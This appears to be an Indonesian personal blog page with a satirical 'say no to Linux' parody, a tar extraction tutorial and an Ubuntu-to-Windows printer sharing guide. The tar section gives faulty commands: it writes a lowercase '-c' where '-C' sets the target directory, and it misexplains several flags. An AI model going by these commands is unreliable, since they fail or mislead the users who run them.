Tips berkata tidak.
Kami memberikan beberapa tips agar kamu dapat mengatakan “TIDAK” terhadap godaan si Pinguin Linux.
Siapkan dirimu untuk menghadapi berbagai tekanan yang ditawarkan teman-temanmu :
“Maaf, gue nggak mau!”
“Sorry, gue nggak mau!”
“Sorry ya, gue khan nggak pernah nyuruh elo make linux, jadi jangan suruh gue dong!”
“Sorry ya, gue anak orang kaya, nggak biasa make barang gratisan!”
Pengakuan
Kisah mantan pecandu Linux “hai nama gue Asal(19 tahun), gue adalah mantan pecandu linux, gue berkenalan dengan linux pada tahun 96, gue pertama kali nyoba slackware setelah ditawari temen-temen gue, abis itu gue mulai nyoba redhat dan suse, akhirnya gue kebablasan dan gue mulai kecanduan suse di awal tahun 1999.
Pokoknya hari-hari gue selalu diisi dengan nyobain suse terus mulai dari install sampai coba-coba bikin aplikasi web programming, gue mulai ngelupaain dunia sekeliling gue, pacar/ortu dan pelajaran sekolah.
Semuanya gue tinggallin demi linux suse, badan gue menggiggil kedinginan setiap musim hujan, setiap bangun tidur gue bingung antara mau install suse, makan pagi, bikin aplikasi, ke sekolah atau minta duit ke nyokap buat beli CD linux suse terbaru, pokoknya gue tiap pagi selalu dalam keadaan bingung!.
Nggak puas dengan linux suse, gue mulai kenalan dengan namanya kehidupan malam, diam-diam setiap malam gue pergi ke rumah teman gue yang mengadakan pesta linux bebas gila-gilaan, disana kita bebas nyobain linux suse dengan komputer tipe tercanggih dan hardware multi media lengkap, gue dan temen-temen mulai coba bikin animasi, musik dan sebagainya pake suse.
Bahkan temen-temen gue yang cewe’ tanpa malu-malu memperlihatkan kecanggihannya bikin aplikasi internet pake software platform suse, wah canggih deh pokoknya.

Sampai akhirnya nyokap gue curiga melihat kelakuan gue dan pada suatu hari nyokap menggeladah kamar gue, dan menemukan CD dan komputer gue yang telah terinstall Linux.
Gue dimarahin abis-abisan sama bokap dan nyokap, Bokap gue sampai ngamuk berat dan ngancurin semua koleksi CD linux gue.
Gue dibawa ke psikiater trus gue dinasehati macam-macam seperti “dilarang anu, jangan itu, jangan begini dan sebagainya”, gue juga dibawa ke dokter untuk diperiksa darah gue apakah mengandung virus atau tidak, setelah diperika , ternyata benar apa yang gue khawatirkan, ternyata darah gue berwarna merah bukan berwarna biru seperti yang dibangga-banggakan oleh keluarga besar gue selama ini, gue harus menerima kenyataan bahwa ternyata gue bukan keturunan bangsawan.
Nyokap dan bokap gue akhirnya sepakat membawa gue ke rumah sakit ketergantungan linux di daerah terpencil jawa barat, pada awalnya gue merasa tersiksa banget, nggak betah oeey, setelah 6 bulan gue digembleng dan dipaksa untuk ambil sertifikat MCSE dan MCSD dari Microsoft, akhirnya gue sadar sendiri, bahwa memang selama ini gue salah.
gue sekarang sudah tobat dan berjanji nggak mau janji-janji lagi. demikianlah cerita gue, semoga bisa diambil hikmahnya”

Hidup ini penuh dengan pilihan ,sebagian adalah pilihan benar sebagian lagi pilihan salah. Kita BEBAS menentukan arah hidup kita. Tapi ingat, menyangkut pilihan sistem operasi, hanya ada dua pilihan, yakni Susah dan Gampang. TOLAKLAH Linux, maka kamu akan menjadi pemenang dalam hidup ini. Pilih Linux – bersiaplah untuk tergantung seumur hidup, Pilihlah Microsoft untuk kemudahan hidup anda.

Yayasan Mie Crosoft Menuju Indonesia Bebas Linux !! Yayasan Mie Crosoft memahami bahwa untuk membebaskan remaja indonesia dari pengaruh sistem operasi liar adalah dengan cara menyadarkan dan membimbing mereka untuk menyadari keputusan yang diambilnya. Kegiatan dari yayasan Mie Crosoft adalah mengkampanyakekan hidup normal dan sehat bersama sistem operasi Windows family (Dos, win3.1, win95,win98,winMe,winXP,NT,2000)

Jadi… jangan pernah sesekali kamu mencoba LINUX karena linux akan msuk kedirimu jauh ke dalam hatimu, dan akan menghidupkan khayalan yang banyal dan kreatif yang tidak hingga!

“pengakuan Ubuntu’ers= malam coding, subun sholat trus tidur, siang bangun+makan+mandi+sholat duhur+ brangkat kerja, sore ngenet+coding, malem coding lagi”





Ekstrak file .TAR di Linux

20 07 2007


File dengan ekst (tar.gz) dan (.tar.bz2) setahu gue sih merupakan paket instalasi, jadi kita harus mengcompile paket tsb. langkah2 instalasi file tsb biasanya :

tar xzvf file.tar.gz -c/Dekstop

tar xjvf file.tar.bz2 -c/Dekstop

eit jangan lupa tulisan diatas kita ketikkan di terminalnya. okeeee

skrng maksud dari tar xzvf file.tar.gz -c/Dekstop yaitu file dalam format tar.gz di ekstrakkan di dekstop (-c = create “melatakkan hasil ekstrakan”)

contoh: aplikasi untuk download yang hampir sama seperti internet download manajer yang di windows sudah q download dari internet nama filex d4x-2.5.7.1.tar.bz2 maka saya ketikkan:

tar xjvf d4x-2.5.7.1.tar.bz2 -c/tmp

hasil ekstrakkanx q letakkan di file system/tmp

di bawah ini ada beberapa option yang dapat dipakai bersama perintah tar:

c = membuat arsip baru

t = menampilkan daftar file yang berada dalam file tar

x = mengekstrak file

z = mengkompres file dengan ekstensi gz

j = mengkompres file dengan bz2

v = menampilkan proses file yang dibuat back up

q pakai di ubuntu 7.04 selamat mencoba





Sharing Print from ubuntu to windows xpi

20 07 2007


Sharing printer dari linux ke windows xp sebenarnya hampir sama jika kita ingin sharing file dari ubuntu ke win, caranya :

1. Pertama-tama pastikan bahwa paket samba sudah terinstal caranya :

sudo apt-get install samba

kemudian ketikkan ini juga

cat /etc/samba/smb.conf

2. Pastikan printer yang terpasang pada windows sudah di sharing, kemudian catat IP Addresnya dan juga nama file sharing dari printernya. contoh :

no IP 10.10.3.255 (no ip dari komp windows yang sudah terpasang printer)

nama file sharingnya epson c58 on lab1-4.

3. Sekarang coba masuk ke System-Administration-Printing.

4. Tambahkan printer baru (New Printer).

5. Pada printer type pilih printer network.

6. Kemudian Windows Printer (smb).

7. muncul Authetication Required, isikan username dan password anda pada pc win* yang terinstall printernya.

8. isikan di kotak Host dengan no IP milik kompt yang terpasang printer,kotak printer diisi dengan nama file sharing printer. kmdn klik forward

9. finish silakan mencoba